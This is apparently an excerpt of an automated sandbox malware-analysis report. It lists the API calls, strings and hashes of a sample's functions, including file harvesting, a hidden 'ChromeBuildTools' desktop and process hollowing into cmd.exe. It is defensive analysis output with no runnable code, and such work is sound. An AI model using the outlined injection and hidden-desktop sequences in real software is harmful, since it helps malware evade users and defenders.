StrCmpCA.SHLWAPI(?,010159E4), ref: 00FF4F78
wsprintfA.USER32 ref: 00FF4F9F
StrCmpCA.SHLWAPI(?,01015616), ref: 00FF4FB3
wsprintfA.USER32 ref: 00FF4FDC
wsprintfA.USER32 ref: 00FF4FF3

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

_memset.LIBCMT ref: 00FF5005
lstrcatA.KERNEL32(?,?), ref: 00FF501A
strtok_s.MSVCRT ref: 00FF505F
_memset.LIBCMT ref: 00FF5071
lstrcatA.KERNEL32(?,?), ref: 00FF5086
strtok_s.MSVCRT ref: 00FF509F
PathMatchSpecA.SHLWAPI(?,00000000), ref: 00FF50B4
DeleteFileA.KERNEL32(?,01015A10,01015617), ref: 00FF516D
CopyFileA.KERNEL32(?,?,00000001), ref: 00FF517D

Part of subcall function 00FF2389: CreateFileA.KERNEL32(00FF5189,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00FF5189,?), ref: 00FF23A4

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00FF5193
DeleteFileA.KERNEL32(?,00000000,?,000003E8,00000000), ref: 00FF519E
strtok_s.MSVCRT ref: 00FF51C4
FindNextFileA.KERNEL32(?,?), ref: 00FF52E2
FindClose.KERNEL32(?), ref: 00FF5302

Strings

%s\%s, xrefs: 00FF4F99
%s\%s\%s, xrefs: 00FF4FD6
%s\%s, xrefs: 00FF4FED
%s\*.*, xrefs: 00FF4EED

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: File$_memsetlstrcatwsprintf$Findlstrcpystrtok_s$Delete$CloseCopyCreateFirstMatchNextPathSpecUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 956187361-332874205
Opcode ID: c7df6cf2796ff8eb21b43c3823a0f18dbce9f64a06453a162143d2e6d5273e33
Instruction ID: 8f09362457ea3b3097b8e7314efc21748de4d1f0ebe16b515725e2dedc756730
Opcode Fuzzy Hash: c7df6cf2796ff8eb21b43c3823a0f18dbce9f64a06453a162143d2e6d5273e33
Instruction Fuzzy Hash: 1FC11872D0021EAFCF22AB64DC45AEE777DAF04300F4045A5FB08A7155DB75AB859F90

Function 00FF61AE Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 205stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FF61F5
FindFirstFileA.KERNEL32(?,?), ref: 00FF620C
StrCmpCA.SHLWAPI(?,01015A9C), ref: 00FF622D
StrCmpCA.SHLWAPI(?,01015AA0), ref: 00FF6247
wsprintfA.USER32 ref: 00FF626E
StrCmpCA.SHLWAPI(?,0101565D), ref: 00FF6282
wsprintfA.USER32 ref: 00FF629F
wsprintfA.USER32 ref: 00FF62B6
PathMatchSpecA.SHLWAPI(?,?), ref: 00FF62CC
lstrcatA.KERNEL32(?), ref: 00FF6302
lstrcatA.KERNEL32(?,01015AB8), ref: 00FF6314
lstrcatA.KERNEL32(?,?), ref: 00FF6327
lstrcatA.KERNEL32(?,01015ABC), ref: 00FF6339
lstrcatA.KERNEL32(?,?), ref: 00FF634D
CopyFileA.KERNEL32(?,?,00000001), ref: 00FF6406
DeleteFileA.KERNEL32(?), ref: 00FF647A
FindNextFileA.KERNEL32(?,?), ref: 00FF64DC
FindClose.KERNEL32(?), ref: 00FF64F0

Strings

%s\%s, xrefs: 00FF6268
%s\*, xrefs: 00FF61E9
%s\%s, xrefs: 00FF62B0

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$CloseCopyDeleteFirstMatchNextPathSpec
String ID: %s\%s$%s\%s$%s\*
API String ID: 2178766154-445461498
Opcode ID: 113cef2e6e214ef5d9a80e27ee6b945851449370ac5cbfc02d7bed4173c722bc
Instruction ID: d2b312265f5eb44374d62fbf97a1a1802016850395aaa14c612a7344701c5dcd
Opcode Fuzzy Hash: 113cef2e6e214ef5d9a80e27ee6b945851449370ac5cbfc02d7bed4173c722bc
Instruction Fuzzy Hash: 4F81147290022D9FCF60EB65DC49ADE77B8BF04300F4085E5E688A3115EF79AA859F90

Function 00FF5CE8 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 179filestringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00FF5D0D
HeapAlloc.KERNEL32(00000000), ref: 00FF5D14
wsprintfA.USER32 ref: 00FF5D2D
FindFirstFileA.KERNEL32(?,?), ref: 00FF5D44
StrCmpCA.SHLWAPI(?,01015A80), ref: 00FF5D65
StrCmpCA.SHLWAPI(?,01015A84), ref: 00FF5D7F
CopyFileA.KERNEL32(?,?,00000001), ref: 00FF5E63

Part of subcall function 00FF59EA: _memset.LIBCMT ref: 00FF5A22
Part of subcall function 00FF59EA: _memset.LIBCMT ref: 00FF5A33
Part of subcall function 00FF59EA: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 00FF5A5E
Part of subcall function 00FF59EA: lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 00FF5A7C
Part of subcall function 00FF59EA: lstrcatA.KERNEL32(?,?,?,?,?,?,?,?), ref: 00FF5A90
Part of subcall function 00FF59EA: lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 00FF5AA3
Part of subcall function 00FF59EA: StrStrA.SHLWAPI(00000000), ref: 00FF5B47

DeleteFileA.KERNEL32(?), ref: 00FF5E86
wsprintfA.USER32 ref: 00FF5DA6

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF1E6D: GetSystemTime.KERNEL32(?,010157AE,?), ref: 00FF1E9C

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

FindNextFileA.KERNEL32(?,?), ref: 00FF5EB5
FindClose.KERNEL32(?), ref: 00FF5EC9
lstrcatA.KERNEL32(?), ref: 00FF5EF7
lstrcatA.KERNEL32(?), ref: 00FF5F0A
lstrlenA.KERNEL32(?), ref: 00FF5F16
lstrlenA.KERNEL32(?), ref: 00FF5F33

Strings

%s\*, xrefs: 00FF5D27
%s\%s, xrefs: 00FF5DA0

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcat$Filelstrcpy$Findlstrlen$Heap_memsetwsprintf$AllocCloseCopyDeleteFirstNextProcessSystemTime
String ID: %s\%s$%s\*
API String ID: 2636950706-2848263008
Opcode ID: dd4630f2d13a89e03e14192911a9e33c58cac1e5ae6d6f24f76fa5fec2f61bf4
Instruction ID: 9c76c62aaceccfe9ae207fd38dac4c94778b1670efd5d1a7c9efa91d356a526b
Opcode Fuzzy Hash: dd4630f2d13a89e03e14192911a9e33c58cac1e5ae6d6f24f76fa5fec2f61bf4
Instruction Fuzzy Hash: 437128B294022C9FCF60AB60DC49ADD7779AF45310F4004E5B708A3116EB75AF85DF95

Function 00FE829D Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 149stringsleepprocessCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FE82DE
wsprintfA.USER32 ref: 00FE82F7
OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 00FE8310
CreateDesktopA.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00FE832C
_memset.LIBCMT ref: 00FE834B
lstrcatA.KERNEL32(?,?), ref: 00FE8360
lstrcatA.KERNEL32(?,?), ref: 00FE8373
lstrcatA.KERNEL32(?,010160F0), ref: 00FE8385
_memset.LIBCMT ref: 00FE8394
lstrcpyA.KERNEL32(?,00000000), ref: 00FE83C7
_memset.LIBCMT ref: 00FE83E2
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 00FE843D
Sleep.KERNEL32(00001388), ref: 00FE844C
CloseDesktop.USER32(?), ref: 00FE8481

Strings

D, xrefs: 00FE840C
ChromeBuildTools, xrefs: 00FE82E6

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: _memset$Desktoplstrcat$Create$CloseOpenProcessSleeplstrcpywsprintf
String ID: ChromeBuildTools$D
API String ID: 3792893142-3322131035
Opcode ID: e4aa9b4ce5cb369250996e49f2ec35427c67acbb55db88c880451dbdb753832a
Instruction ID: ae277cfad0941f1fd2b91412b268f222774b8d585f3e3651b7e02acc35d6a735
Opcode Fuzzy Hash: e4aa9b4ce5cb369250996e49f2ec35427c67acbb55db88c880451dbdb753832a
Instruction Fuzzy Hash: B05121B290021DAFDB22DFA4DC89EDA77BCBB18304F400495B609E6151EB759F859F60

Function 00FFBEF4 Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 440COMMON

Download Yara Rule

Strings

UT, xrefs: 00FFC21F
/, xrefs: 00FFBFA7

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: 61401cfe4a98bb36a07a4f03108eff2fdb378ec68a6c1d80551b9732ccda44ac
Instruction ID: 9463dde5de3c1625c73f698d50cda1f04685505c6dd2f4b5634b1adde0c3548c
Opcode Fuzzy Hash: 61401cfe4a98bb36a07a4f03108eff2fdb378ec68a6c1d80551b9732ccda44ac
Instruction Fuzzy Hash: 16029EB1D0026C8BDF21CF64CD807AEBBB5AF45310F1840E9DA48AB256D7349E84EF95

Function 00FEF840 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 130threadinjectionmemoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FEF872
CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,010155BD,00000000,00000000,00000001,00000004,00000000,00000000,?,?,00000000,00000000,?), ref: 00FEF896
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00FEF8A8
GetThreadContext.KERNEL32(?,00000000), ref: 00FEF8BA
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 00FEF8D8
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 00FEF8EE
ResumeThread.KERNEL32(?), ref: 00FEF8FE
WriteProcessMemory.KERNEL32(?,00000000,00FF2F30,?,00000000), ref: 00FEF91D
WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 00FEF953
WriteProcessMemory.KERNEL32(?,?,D798E8F4,00000004,00000000), ref: 00FEF97A
SetThreadContext.KERNEL32(?,00000000), ref: 00FEF98C
ResumeThread.KERNEL32(?), ref: 00FEF995

Strings

C:\Windows\System32\cmd.exe, xrefs: 00FEF891
(, xrefs: 00FEF95C

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Process$MemoryThread$Write$AllocContextResumeVirtual$CreateRead_memset
String ID: ($C:\Windows\System32\cmd.exe
API String ID: 3621800378-4087486346
Opcode ID: 941cac70ef4b5464ec263cbcf71bba089a8c719e1330514eaa38da741808bc74
Instruction ID: 791cff35450fe79cae7f8ecaf9ac3785e58dbed3eff3f80087a679294234e1fc
Opcode Fuzzy Hash: 941cac70ef4b5464ec263cbcf71bba089a8c719e1330514eaa38da741808bc74
Instruction Fuzzy Hash: 96412672A00208AFEB21DFA5DC85FAEB7B9FB48704F004464FA45EA161D375A954DB21

Function 00FE1D70 Relevance: 23.3, APIs: 12, Strings: 1, Instructions: 529fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

FindFirstFileA.KERNEL32(?,?,01019A50,01019A54,01015A0F,01015A0E,00FF77E1,?,00000000), ref: 00FE1F94
StrCmpCA.SHLWAPI(?,01019A58), ref: 00FE1FC7
StrCmpCA.SHLWAPI(?,01019A5C), ref: 00FE1FE1
FindFirstFileA.KERNEL32(?,?,01019A60,01019A64,?,01019A68,01015A12), ref: 00FE20CD
CopyFileA.KERNEL32(?,?,00000001), ref: 00FE22B3

Part of subcall function 00FF1FDF: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00FF2020

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

DeleteFileA.KERNEL32(?), ref: 00FE2326
FindNextFileA.KERNEL32(?,?), ref: 00FE2392
FindClose.KERNEL32(?), ref: 00FE23A6
CopyFileA.KERNEL32(?,?,00000001), ref: 00FE25CC

Part of subcall function 00FE85FA: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8615
Part of subcall function 00FE85FA: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE862C
Part of subcall function 00FE85FA: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8643
Part of subcall function 00FE85FA: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE865A
Part of subcall function 00FE85FA: CloseHandle.KERNEL32(?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8682

DeleteFileA.KERNEL32(?), ref: 00FE263F

Part of subcall function 00FF7074: Sleep.KERNEL32(000003E8,?,?), ref: 00FF70DB

FindNextFileA.KERNEL32(?,?), ref: 00FE26B6
FindClose.KERNEL32(?), ref: 00FE26CA

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

Part of subcall function 00FF7074: CreateThread.KERNEL32(00000000,00000000,00FF6FA3,?,00000000,00000000), ref: 00FF7113
Part of subcall function 00FF7074: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00FF711B

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF1FB5: GetFileAttributesA.KERNEL32(?,?,?,00FEDC33,?,?,?), ref: 00FF1FBC

Part of subcall function 00FF1E6D: GetSystemTime.KERNEL32(?,010157AE,?), ref: 00FF1E9C

Strings

\*.*, xrefs: 00FE1E8E

Memory Dump Source

